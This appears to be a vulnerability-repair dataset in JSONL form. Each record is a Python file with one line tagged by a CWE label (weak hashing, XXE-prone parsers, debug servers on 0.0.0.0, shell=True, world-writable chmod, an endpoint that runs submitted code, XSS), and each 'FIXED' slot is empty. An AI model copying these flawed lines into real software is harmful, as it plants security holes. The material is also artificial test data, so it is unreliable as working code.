stock_sysno = 1,\n payment_type = 1,\n so_amt = 6999 * 2,\n status = 10,\n appid = \"dk-order\",\n so_items = so_items,\n )]\n\n success = (jsonify(dict(success=True, message=\"success\")), 200)\n failed = (jsonify(dict(success=False, message=\"failed\")), 400)\n headers = {\n \"Content-Type\": \"application/json\",\n \"xid\": xid\n }\n\n so_req = dict(req=so_master)\n resp1 = requests.post(create_so_url, headers=headers, json=so_req)\n if resp1.status_code == 400:\n return failed\n\n ivt_req = dict(req=[dict(product_sysno= 1, qty=2)])\n resp2 = requests.post(update_inventory_url, headers=headers, json=ivt_req)\n if resp2.status_code == 400:\n return failed\n\n if rollback:\n print(\"rollback\")\n return failed\n\n return success\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host=\"0.0.0.0\", port=3000)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "import boto3\nfrom flask import Flask\nfrom aws_xray_sdk.core import xray_recorder, patch_all\nfrom aws_xray_sdk.ext.flask.middleware import XRayMiddleware\nfrom aws_xray_sdk.ext.flask_sqlalchemy.query import XRayFlaskSqlAlchemy\nimport requests\nimport os\n\napplication = app = Flask(__name__)\napplication.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napplication.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///db.sqlite3\"\n\nxray_recorder.configure(service='My Flask Web Application')\nXRayMiddleware(app, xray_recorder)\npatch_all()\n\ndb = XRayFlaskSqlAlchemy(app=application)\n\n\nclass User(db.Model):\n __tablename__ = 'users'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255), nullable=False, unique=True)\n\n\n# test http instrumentation\n@app.route('/outgoing-http-call')\ndef callHTTP():\n requests.get(\"https://aws.amazon.com\")\n return \"Ok! tracing outgoing http call\"\n\n\n# test aws sdk instrumentation\n@app.route('/aws-sdk-call')\ndef callAWSSDK():\n client = boto3.client('s3')\n client.list_buckets()\n\n return 'Ok! tracing aws sdk call'\n\n\n# test flask-sql alchemy instrumentation\n@app.route('/flask-sql-alchemy-call')\ndef callSQL():\n name = 'sql-alchemy-model'\n user = User(name=name)\n db.create_all()\n db.session.add(user)\n\n return 'Ok! tracing sql call'\n\n\n@app.route('/')\ndef default():\n return \"healthcheck\"\n\n\nif __name__ == \"__main__\":\n address = os.environ.get('LISTEN_ADDRESS')\n\n if address is None:\n host = '127.0.0.1'\n port = '5000'\n else:\n host, port = address.split(\":\")\n \n# BUG: CWE-489: Active Debug Code\n# app.run(host=host, port=int(port), debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "#!/usr/bin/env python\n#\n# See the accompanying LICENSE file.\n#\nimport urllib2\nimport hashlib\nimport re\n\nsqlitevers=(\n '3081101',\n '3081100',\n '3081002',\n '3081001',\n '3081000',\n '3080900',\n '3080803',\n '3080802',\n '3080801',\n '3080800',\n '3080704',\n '3080703',\n '3080702',\n '3080701',\n '3080700',\n '3080600',\n '3080500',\n '3080403',\n '3080402',\n '3080401',\n '3080400',\n '3080301',\n '3080300',\n '3080200',\n '3080100',\n '3080002',\n '3080001',\n '3080000',\n '3071700',\n '3071602',\n '3071601',\n '3071600',\n '3071502',\n '3071501',\n '3071500',\n '3071401',\n '3071400',\n '3071300',\n '3071201',\n '3071200',\n '3071100',\n '3071000',\n '3070900',\n '3070800',\n '3070701',\n '3070700',\n '3070603',\n '3070602',\n '3070601',\n '3070600',\n )\n\n# Checks the checksums file\n\ndef getline(url):\n for line in open(\"checksums\", \"rtU\"):\n line=line.strip()\n if len(line)==0 or line[0]==\"#\":\n continue\n l=[l.strip() for l in line.split()]\n if len(l)!=4:\n print \"Invalid line in checksums file:\", line\n raise ValueError(\"Bad checksums file\")\n if l[0]==url:\n return l[1:]\n return None\n\ndef check(url, data):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# d=[\"%s\" % (len(data),), hashlib.sha1(data).hexdigest(), hashlib.md5(data).hexdigest()]\n# FIXED: \n\n \n\n line=getline(url)\n if line:\n if line!=d:\n print \"Checksums mismatch for\", url\n print \"checksums file is\", line\n print \"Download is\", d\n else:\n print url,\n if url.endswith(\".zip\"):\n print \" \",\n print d[0], d[1], d[2]\n\n# They keep messing with where files are in URI - this code is also in setup.py\ndef fixup_download_url(url):\n ver=re.search(\"3[0-9]{6}\", url)\n if ver:\n ver=int(ver.group(0))\n if ver>=3071600:\n if ver>=3080800:\n year=\"2015\"\n elif ver>=3080300:\n year=\"2014\"\n else:\n year=\"2013\"\n if \"/\"+year+\"/\" not in url:\n url=url.split(\"/\")\n url.insert(3, year)\n return \"/\".join(url)\n return url\n\nfor v in sqlitevers:\n # Windows amalgamation\n AURL=\"https://sqlite.org/sqlite-amalgamation-%s.zip\" % (v,)\n AURL=fixup_download_url(AURL)\n try:\n data=urllib2.urlopen(AURL).read()\n except:\n print AURL\n raise\n check(AURL, data)\n # All other platforms amalgamation\n AURL=\"https://sqlite.org/sqlite-autoconf-%s.tar.gz\" % (v,)\n AURL=fixup_download_url(AURL)\n try:\n data=urllib2.urlopen(AURL).read()\n except:\n print AURL\n raise\n check(AURL, data)\n"} {"language": "python", "text": "\"\"\"Non-twisted throughput server.\"\"\"\n\nimport socket, signal, sys\n\ndef signalhandler(*args):\n print \"alarm!\"\n sys.stdout.flush()\n\nsignal.signal(signal.SIGALRM, signalhandler)\n\n\n# BUG: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind(('', 8001))\n# FIXED: \n\n \n\ns.listen(1)\nwhile 1:\n c, (h, p) = s.accept()\n c.settimeout(30)\n signal.alarm(5)\n while 1:\n d = c.recv(16384)\n if not d:\n break\n c.close()\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n#\n# ===================================================================\n# The contents of this file are dedicated to the public domain. To\n# the extent that dedication to the public domain is not available,\n# everyone is granted a worldwide, perpetual, royalty-free,\n# non-exclusive license to exercise all rights associated with the\n# contents of this file for any purpose whatsoever.\n# No rights are reserved.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ===================================================================\n\n# Just use the SHA module from the Python standard library\n\n__revision__ = \"$Id$\"\n\n__all__ = ['new', 'digest_size']\n\ntry:\n # The md5 module is deprecated in Python 2.6, so use hashlib when possible.\n import hashlib\n def new(data=\"\"):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# return hashlib.sha1(data)\n# FIXED: \n\n \n\n digest_size = new().digest_size\n\nexcept ImportError:\n from sha import *\n import sha\n if hasattr(sha, 'digestsize'):\n digest_size = digestsize\n del digestsize\n del sha\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n\n## Licensed under the Apache License, Version 2.0 (the \"License\");\n## you may not use this file except in compliance with the License.\n## You may obtain a copy of the License at\n##\n## http://www.apache.org/licenses/LICENSE-2.0\n##\n## Unless required by applicable law or agreed to in writing, software\n## distributed under the License is distributed on an \"AS IS\" BASIS,\n## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n## See the License for the specific language governing permissions and\n## limitations under the License.\n\n\"\"\"Unit test for morph.py\n\"\"\"\n\n__author__ = \"\"\"\nrws@uiuc.edu (Richard Sproat)\n\"\"\"\n\nimport os\nimport sys\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.sax\n# FIXED: \n\n \n\nimport unittest\nimport tokens\nimport xmlhandler\nimport morph\nfrom __init__ import BASE_\n\nSOURCE_FILE_ = '%s/testdata/morphtest_src.xml' % BASE_ \nGOLDEN_FILE_ = '%s/testdata/morphtest.xml' % BASE_ \nTEST_FILE_ = '/tmp/morphtest.xml'\n\ndef main(output = False):\n parser = xml.sax.make_parser()\n handler = xmlhandler.XmlHandler()\n parser.setContentHandler(handler)\n parser.parse(SOURCE_FILE_)\n doclist = handler.DocList()\n analyzer = morph.PrefixAnalyzer(doclist, 'eng')\n analyzer.Initialize()\n analyzer.LabelDoclist()\n if output:\n doclist.XmlDump(GOLDEN_FILE_, utf8=True)\n else:\n doclist.XmlDump(TEST_FILE_)\n unittest.TestUnitOutputs(sys.argv[0], GOLDEN_FILE_, TEST_FILE_)\n\nif __name__ == '__main__':\n if len(sys.argv) > 1 and sys.argv[1] == 'generate':\n main(True)\n else:\n main()\n\n"} {"language": "python", "text": "\"\"\"SocketTree extension with export support.\"\"\"\n\n### standard library import\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import Element\n# FIXED: \n\n \n\n\n### third-party import\nfrom pygame.draw import line as draw_line\n\n\nclass ExportOperations:\n \"\"\"Exporting operations for the socket tree.\"\"\"\n\n def yield_lines_as_svg(self):\n \"\"\"Yield lines as svg elements.\n\n Used when representing lines as svg lines\n when exporting the node graph to a .svg file.\n \"\"\"\n for parent in self.parents:\n\n x1_str, y1_str = map(str, parent.rect.center)\n\n for child in parent.children:\n\n x2, y2 = child.rect.center\n\n yield Element(\n \"line\",\n {\n \"x1\": x1_str,\n \"y1\": y1_str,\n \"x2\": str(x2),\n \"y2\": str(y2),\n \"class\": parent.svg_class_name,\n },\n )\n\n def draw_lines_on_surf(self, surf):\n \"\"\"Draw lines on provided surf.\n\n Used when drawing lines on another surface\n when exporting the node graph to an image file.\n \"\"\"\n for parent in self.parents:\n\n parent_center = parent.rect.center\n segment_color = parent.line_color\n\n for child in parent.children:\n\n start, end = (parent_center, child.rect.center)\n\n draw_line(\n surf,\n segment_color,\n parent_center, # start\n child.rect.center, # end\n 4, # width\n )\n"} {"language": "python", "text": "'''\nThis module is just for testing concepts. It should be erased later on.\n\nExperiments:\n\n// gdb -p 4957\n// call dlopen(\"/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/attach_linux.so\", 2)\n// call dlsym($1, \"hello\")\n// call hello()\n\n\n// call open(\"/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/attach_linux.so\", 2)\n// call mmap(0, 6672, 1 | 2 | 4, 1, 3 , 0)\n// add-symbol-file\n// cat /proc/pid/maps\n\n// call dlopen(\"/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/attach_linux.so\", 1|8)\n// call dlsym($1, \"hello\")\n// call hello()\n'''\n\nimport subprocess\nimport sys\nimport os\nimport time\n\nif __name__ == '__main__':\n\n linux_dir = os.path.join(os.path.dirname(__file__), 'linux')\n os.chdir(linux_dir)\n so_location = os.path.join(linux_dir, 'attach_linux.so')\n try:\n os.remove(so_location)\n except:\n pass\n subprocess.call('g++ -shared -o attach_linux.so -fPIC -nostartfiles attach_linux.c'.split())\n print('Finished compiling')\n assert os.path.exists('/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/attach_linux.so')\n os.chdir(os.path.dirname(linux_dir))\n# import attach_pydevd\n# attach_pydevd.main(attach_pydevd.process_command_line(['--pid', str(p.pid)]))\n p = subprocess.Popen([sys.executable, '-u', '_always_live_program.py'])\n print('Size of file: %s' % (os.stat(so_location).st_size))\n\n #(gdb) set architecture\n # Requires an argument. Valid arguments are i386, i386:x86-64, i386:x64-32, i8086, i386:intel, i386:x86-64:intel, i386:x64-32:intel, i386:nacl, i386:x86-64:nacl, i386:x64-32:nacl, auto.\n \n cmd = [\n 'gdb',\n '--pid',\n str(p.pid),\n '--batch',\n ]\n\n arch = 'i386:x86-64'\n if arch:\n cmd.extend([\"--eval-command='set architecture %s'\" % arch])\n \n cmd.extend([\n \"--eval-command='call dlopen(\\\"/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/attach_linux.so\\\", 2)'\",\n \"--eval-command='call (int)DoAttach(1, \\\"print(\\\\\\\"check11111check\\\\\\\")\\\", 0)'\",\n #\"--eval-command='call (int)SetSysTraceFunc(1, 0)'\", -- never call this way, always use \"--command='...gdb_threads_settrace.py'\",\n #So that threads are all stopped!\n \"--command='/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/gdb_threads_settrace.py'\",\n ])\n \n cmd.extend(['--command=/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/gdb_threads_settrace.py'])\n \n\n print(' '.join(cmd))\n time.sleep(.5)\n env = os.environ.copy()\n env.pop('PYTHONIOENCODING', None)\n env.pop('PYTHONPATH', None)\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# p2 = subprocess.call(' '.join(cmd), env=env, shell=True)\n# FIXED: \n\n \n\n\n time.sleep(1)\n p.kill()\n"} {"language": "python", "text": "# let's import the flask\nfrom flask import Flask, render_template, request, redirect, url_for\nimport os # importing operating system module\n\napp = Flask(__name__)\n# to stop caching static file\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n\n\n\n@app.route('/') # this decorator create the home route\ndef home ():\n techs = ['HTML', 'CSS', 'Flask', 'Python']\n name = '30 Days Of Python Programming'\n return render_template('home.html', techs=techs, name = name, title = 'Home')\n\n@app.route('/about')\ndef about():\n name = '30 Days Of Python Programming'\n return render_template('about.html', name = name, title = 'About Us')\n\n@app.route('/result')\ndef result():\n return render_template('result.html')\n\n@app.route('/post', methods= ['GET','POST'])\ndef post():\n name = 'Text Analyzer'\n if request.method == 'GET':\n return render_template('post.html', name = name, title = name)\n if request.method =='POST':\n content = request.form['content']\n return redirect(url_for('result'))\n \nif __name__ == '__main__':\n # for deployment\n # to make it work for both production and development\n port = int(os.environ.get(\"PORT\", 5000))\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(debug=True, host='0.0.0.0', port=port)\n# FIXED: \n\n \n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\nfrom types import ModuleType\n\ntry:\n import xml.etree.cElementTree as default_etree\nexcept ImportError:\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as default_etree\n# FIXED: \n\n \n\n\n\n__all__ = [\"default_etree\", \"MethodDispatcher\", \"isSurrogatePair\",\n \"surrogatePairToCodepoint\", \"moduleFactoryFactory\"]\n\n\nclass MethodDispatcher(dict):\n \"\"\"Dict with 2 special properties:\n\n On initiation, keys that are lists, sets or tuples are converted to\n multiple keys so accessing any one of the items in the original\n list-like object returns the matching value\n\n md = MethodDispatcher({(\"foo\", \"bar\"):\"baz\"})\n md[\"foo\"] == \"baz\"\n\n A default value which can be set through the default attribute.\n \"\"\"\n\n def __init__(self, items=()):\n # Using _dictEntries instead of directly assigning to self is about\n # twice as fast. Please do careful performance testing before changing\n # anything here.\n _dictEntries = []\n for name, value in items:\n if type(name) in (list, tuple, frozenset, set):\n for item in name:\n _dictEntries.append((item, value))\n else:\n _dictEntries.append((name, value))\n dict.__init__(self, _dictEntries)\n self.default = None\n\n def __getitem__(self, key):\n return dict.get(self, key, self.default)\n\n\n# Some utility functions to dal with weirdness around UCS2 vs UCS4\n# python builds\n\ndef isSurrogatePair(data):\n return (len(data) == 2 and\n ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and\n ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF)\n\n\ndef surrogatePairToCodepoint(data):\n char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 +\n (ord(data[1]) - 0xDC00))\n return char_val\n\n# Module Factory Factory (no, this isn't Java, I know)\n# Here to stop this being duplicated all over the place.\n\n\ndef moduleFactoryFactory(factory):\n moduleCache = {}\n\n def moduleFactory(baseModule, *args, **kwargs):\n if isinstance(ModuleType.__name__, type(\"\")):\n name = \"_%s_factory\" % baseModule.__name__\n else:\n name = b\"_%s_factory\" % baseModule.__name__\n\n if name in moduleCache:\n return moduleCache[name]\n else:\n mod = ModuleType(name)\n objs = factory(baseModule, *args, **kwargs)\n mod.__dict__.update(objs)\n moduleCache[name] = mod\n return mod\n\n return moduleFactory\n"} {"language": "python", "text": "#!/usr/bin/env python\n\n\"\"\"Configuration info and support routines for the cvslib.py test suite.\"\"\"\n\nimport os, sys\n\n#---- Configuration info\n\n# The test workspace root directory.\nrootDir = 'tmp'\nrepositoryDir = os.path.join(rootDir, 'repository')\n\n# CVSROOT\n_rootAbsDir = os.path.abspath(rootDir)\nif sys.platform.startswith('win'):\n _rootAbsDir = os.path.splitdrive(_rootAbsDir)[1]\ncvsroot = os.path.join(_rootAbsDir, \"repository\").replace('\\\\', '/')\n\n# Test users.\nusers = {\n 'andrew': {\n 'home': os.path.abspath(os.path.join(rootDir, 'andrew')),\n },\n 'bertha': {\n 'home': os.path.abspath(os.path.join(rootDir, 'bertha')),\n },\n}\n\n\n#---- Support routines\n\ndef _rmtreeOnError(rmFunction, filePath, excInfo):\n if excInfo[0] == OSError:\n # presuming because file is read-only\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(filePath, 0777)\n# FIXED: \n\n \n\n rmFunction(filePath)\n\ndef _rmtree(dirname):\n import shutil\n shutil.rmtree(dirname, 0, _rmtreeOnError)\n\n\n\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello, World with no pipenv!\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "# This file lets the gamesbyexample launcher run the Python game script\n# in a new terminal window, which will remain open after the Python\n# script terminates. Though first, it runs __crashdetector__.py which\n# runs the game, and can detect if the game crashes.\n\nimport subprocess, sys, os\n\nlauncherVersion = sys.argv[1]\nprogramToLaunch = sys.argv[2]\n\nFOLDER_OF_THIS_FILE = os.path.dirname(os.path.abspath(__file__))\nCRASH_DETECTOR = os.path.join(FOLDER_OF_THIS_FILE, '__crashdetector__.py')\n\n# First, this script runs the crash detector to run the Python script:\ntry:\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# exitCode = subprocess.call([sys.executable, CRASH_DETECTOR, sys.argv[1], sys.argv[2]])\n# FIXED: \n\n \n\nexcept KeyboardInterrupt, EOFError:\n exitCode = 0 # Do nothing if Ctrl-C was pressed to exit the game.\n\n\n\n# Pygame games only leave the terminal window open if there was no crash.\nif 'pygame_games/' in programToLaunch and exitCode == 0:\n sys.exit()\n\n# Second, this script runs a shell so that the terminal window stays open\n# after the programToLaunch Python script terminates. (Otherwise, any\n# output that the game printed just before terminating will be lost when\n# the terminal window closes.)\nif 'SHELL' in os.environ:\n subprocess.call([os.environ['SHELL']])\nelse:\n # Let's just assume the user's shell is bash:\n subprocess.call(['bash'])\n"} {"language": "python", "text": "import hashlib\n\n\n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# hs = hashlib.md5(b\"foo\")\n# FIXED: \n\n \n\nassert hs.hexdigest() == \"acbd18db4cc2f85cedef654fccc4a4d8\"\n\nhs = hashlib.sha1(b\"foo\")\nhs.hexdigest() == \"0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33\"\n\nhs = hashlib.sha256(b\"foo\")\nassert hs.hexdigest() == \"2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae\"\n"} {"language": "python", "text": "\"\"\"Run the Python regression test using the compiler\n\nThis test runs the standard Python test suite using bytecode generated\nby this compiler instead of by the builtin compiler.\n\nThe regression test is run with the interpreter in verbose mode so\nthat import problems can be observed easily.\n\"\"\"\n\nfrom compiler import compileFile\n\nimport os\nimport sys\nimport test\nimport tempfile\n\ndef copy_test_suite():\n dest = tempfile.mkdtemp()\n os.system(\"cp -r %s/* %s\" % (test.__path__[0], dest))\n print \"Creating copy of test suite in\", dest\n return dest\n\ndef copy_library():\n dest = tempfile.mkdtemp()\n libdir = os.path.split(test.__path__[0])[0]\n print \"Found standard library in\", libdir\n print \"Creating copy of standard library in\", dest\n os.system(\"cp -r %s/* %s\" % (libdir, dest))\n return dest\n\ndef compile_files(dir):\n print \"Compiling\", dir, \"\\n\\t\",\n line_len = 10\n for file in os.listdir(dir):\n base, ext = os.path.splitext(file)\n if ext == '.py':\n source = os.path.join(dir, file)\n line_len = line_len + len(file) + 1\n if line_len > 75:\n print \"\\n\\t\",\n line_len = len(source) + 9\n print file,\n try:\n compileFile(source)\n except SyntaxError, err:\n print err\n continue\n # make sure the .pyc file is not over-written\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(source + \"c\", 444)\n# FIXED: \n\n \n\n elif file == 'CVS':\n pass\n else:\n path = os.path.join(dir, file)\n if os.path.isdir(path):\n print\n print\n compile_files(path)\n print \"\\t\",\n line_len = 10\n print\n\ndef run_regrtest(lib_dir):\n test_dir = os.path.join(lib_dir, \"test\")\n os.chdir(test_dir)\n os.system(\"PYTHONPATH=%s %s -v regrtest.py\" % (lib_dir, sys.executable))\n\ndef cleanup(dir):\n os.system(\"rm -rf %s\" % dir)\n\ndef main():\n lib_dir = copy_library()\n compile_files(lib_dir)\n run_regrtest(lib_dir)\n raw_input(\"Cleanup?\")\n cleanup(lib_dir)\n\nif __name__ == \"__main__\":\n main()\n"} {"language": "python", "text": "import string\nimport sqlite3\nimport urllib\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\nfrom BeautifulSoup import *\n\nconn = sqlite3.connect('wikidata.db')\ncur = conn.cursor()\n\ncur.execute('''\n CREATE TABLE IF NOT EXISTS TinyTable (id INTEGER PRIMARY KEY, \n url TEXT, page BLOB, retrieved_at timestamp)''')\n\n# A slightly extended dictionary\nclass sash(dict):\n def sortvalues(self,reverse=True):\n return sorted(self.items(),key=lambda x: (x[1], x[0]), reverse=reverse)\n\ndef tinyTable(url):\n global cur,conn\n cur.execute('SELECT id,page,retrieved_at FROM TinyTable WHERE URL = ?', (url, ))\n try:\n row = cur.fetchone()\n print 'DATE',row[2]\n return row[1]\n except:\n row = None\n print 'Retrieving', url\n\n data = urllib.urlopen (url).read()\n if row != None:\n cur.execute(\"UPDATE TinyTable SET page=?,retrieved_at=datetime('now') WHERE id=?\", (unicode(data, 'utf-8'), row[0]))\n else:\n cur.execute(\"INSERT INTO TinyTable (url, page, retrieved_at) VALUES (?, ?, datetime('now'))\",(url, unicode(data, 'utf-8')))\n conn.commit()\n return data\n\ncururl = 'https://ctools.umich.edu/portal/tool/27500dea-c105-4f7b-a195-3c89536a64b7?pageName=%2Fsite%2Ff57681b8-6db9-46cf-aad1-3a0bdd621138%2Fhome&action=view&panel=Main&realm=%2Fsite%2Ff57681b8-6db9-46cf-aad1-3a0bdd621138'\nprefix = 'https://ctools.umich.edu/portal/tool/27500dea-c105-4f7b-a195-3c89536a64b7'\n\nurls = list()\nurls.append(cururl)\nvisited = list()\neditcounts = sash()\npostcounts = sash()\n\nwhile len(urls) > 0 : \n print '=== URLS Yet To Retrieve:',len(urls)\n cururl = urls.pop()\n if cururl in visited: continue\n print 'RETRIEVING',cururl\n data = tinyTable(cururl)\n visited.append(cururl)\n soup = BeautifulSoup(data)\n tags = soup('a')\n # print 'Tags'\n for tag in tags:\n print tag\n url = tag.get('href',None)\n if url == None : continue\n # Don't follow absolute urls\n if not url.startswith(prefix) : continue\n newurl = urllib.basejoin(cururl,url)\n if newurl in visited : continue\n # print 'APPENDING',newurl\n if newurl.find('action=view') > 0 or newurl.find('action=history') > 0 :\n urls.append(newurl)\n\nprint 'EDITS:'\nfor (key,val) in editcounts.sortvalues():\n print key, val\n\nfor (key,val) in sorted(postcounts.items()):\n print key, val\n\nconn.close()\n"} {"language": "python", "text": "from flask import Flask, jsonify, request\nfrom datetime import datetime\nimport mysql.connector\n\nimport time\nimport random\n\napp = Flask(__name__)\n\ninsert_so_master = \"INSERT /*+ XID('{xid}') */ INTO order.so_master({keys}) VALUES ({placeholders})\"\ninsert_so_item = \"INSERT /*+ XID('{xid}') */ INTO order.so_item({keys}) VALUES ({placeholders})\"\n\ndef conn():\n retry = 0\n while retry < 3:\n time.sleep(5)\n try:\n c = mysql.connector.connect(\n host=\"dbpack3\",\n port=13308,\n user=\"dksl\",\n password=\"123456\",\n database=\"order\",\n autocommit=True,\n )\n if c.is_connected():\n db_Info = c.get_server_info()\n print(\"Connected to MySQL Server version \", db_Info)\n return c\n except Exception as e:\n print(e.args)\n retry += 1 \n \nconnection = conn()\ncursor = connection.cursor(prepared=True,)\n\n@app.route('/createSo', methods=['POST'])\ndef create_so():\n xid = request.headers.get('xid')\n reqs = request.get_json()\n if xid and \"req\" in reqs:\n for res in reqs[\"req\"]:\n res[\"sysno\"] = next_id()\n res[\"so_id\"] = res[\"sysno\"]\n res[\"order_date\"] = datetime.now()\n res_keys = [str(k) for k,v in res.items() if k != \"so_items\" and str(v) != \"\"]\n so_master = insert_so_master.format(\n xid=xid,\n keys=\", \".join(res_keys),\n placeholders=\", \".join([\"%s\"] * len(res_keys)),\n )\n\n try:\n cursor.execute(so_master, tuple(res.get(k, \"\") for k in res_keys))\n except Exception as e:\n print(e.args)\n \n so_items = res[\"so_items\"]\n for item in so_items:\n item[\"sysno\"] = next_id()\n item[\"so_sysno\"] = res[\"sysno\"]\n item_keys = [str(k) for k,v in item.items() if str(v) != \"\" ]\n \n# BUG: CWE-704: Incorrect Type Conversion or Cast\n# so_item = insert_so_item.format( xid=xid, keys=\", \".join(item_keys), placeholders=\", \".join([\"%s\"] * len(item_keys)), )\n# FIXED: \n\n \n\n try:\n cursor.execute(so_item, tuple(item.get(k, \"\") for k in item_keys))\n except Exception as e:\n print(e.args)\n \n return jsonify(dict(success=True, message=\"success\")), 200\n \n return jsonify(dict(success=False, message=\"failed\")), 400 \n\ndef next_id():\n return random.randrange(0, 9223372036854775807)\n \n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=3001)\n"} {"language": "python", "text": "\"\"\"\nA simple demo that reads in an XML document and spits out an equivalent,\nbut not necessarily identical, document.\n\"\"\"\n\nimport sys, string\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax import saxutils, handler, make_parser\n# FIXED: \n\n \n\n\n# --- The ContentHandler\n\nclass ContentGenerator(handler.ContentHandler):\n\n def __init__(self, out = sys.stdout):\n handler.ContentHandler.__init__(self)\n self._out = out\n\n # ContentHandler methods\n\n def startDocument(self):\n self._out.write('\\n')\n\n def startElement(self, name, attrs):\n self._out.write('<' + name)\n for (name, value) in attrs.items():\n self._out.write(' %s=\"%s\"' % (name, saxutils.escape(value)))\n self._out.write('>')\n\n def endElement(self, name):\n self._out.write('' % name)\n\n def characters(self, content):\n self._out.write(saxutils.escape(content))\n\n def ignorableWhitespace(self, content):\n self._out.write(content)\n\n def processingInstruction(self, target, data):\n self._out.write('' % (target, data))\n\n# --- The main program\n\nparser = make_parser()\nparser.setContentHandler(ContentGenerator())\nparser.parse(sys.argv[1])\n"} {"language": "python", "text": "#!/usr/bin/env python\n# Python Network Programming Cookbook, Second Edition -- Chapter - 7\n# This program is optimized for Python 2.7.12 and Python 3.5.2.\n# It may run on any other version with/without modifications.\n\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route('/')\ndef index(num=1):\n \n# BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n# return \"Your Python Web Service
Fibonacci(\"+ str(num) + \"): \"+ str(fibonacci(num))+ \"
Square(\"+ str(num) + \"): \"+ str(square(num))\n# FIXED: \n\n \n\n\ndef fibonacci(n):\n if n == 0:\n return 0\n elif n == 1:\n return 1\n else:\n return fibonacci(n-1) + fibonacci(n-2)\n\n\ndef square(n):\n print (\"Calculating for the number %s\" %n)\n return n*n\n\nif __name__ == '__main__':\n app.run(debug=True)\n"} {"language": "python", "text": "import hashlib\n\nfrom time import strftime, gmtime\nfrom urllib.parse import urlparse, quote, urlunparse, unquote\n\n\ndef current_time():\n time_format = \"%a, %d %b %Y %H:%M:%S GMT\"\n return strftime(time_format, gmtime())\n\n\ndef url_quote(o):\n scheme, netloc, path, params, query, fragment = urlparse(\n o, allow_fragments=False\n )\n path = quote(unquote(path))\n o = urlunparse((scheme, netloc, path, params, query, fragment))\n return o\n\n\ndef should_url_quote(key):\n should_url_quote_list = [\"x-qs-fetch-source\"]\n return key in should_url_quote_list\n\n\ndef should_quote(key):\n should_quote_list = [\"x-qs-copy-source\", \"x-qs-move-source\"]\n return key in should_quote_list\n\n\ndef md5_digest(input_str):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# m = hashlib.md5()\n# FIXED: \n\n \n\n m.update(input_str)\n return m.digest()\n"} {"language": "python", "text": "\"\"\"\nUtilities for XML generation/parsing.\n\"\"\"\n\nimport re\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.saxutils import XMLGenerator\n# FIXED: \n\n \n\n\n\nclass UnserializableContentError(ValueError):\n pass\n\n\nclass SimplerXMLGenerator(XMLGenerator):\n def addQuickElement(self, name, 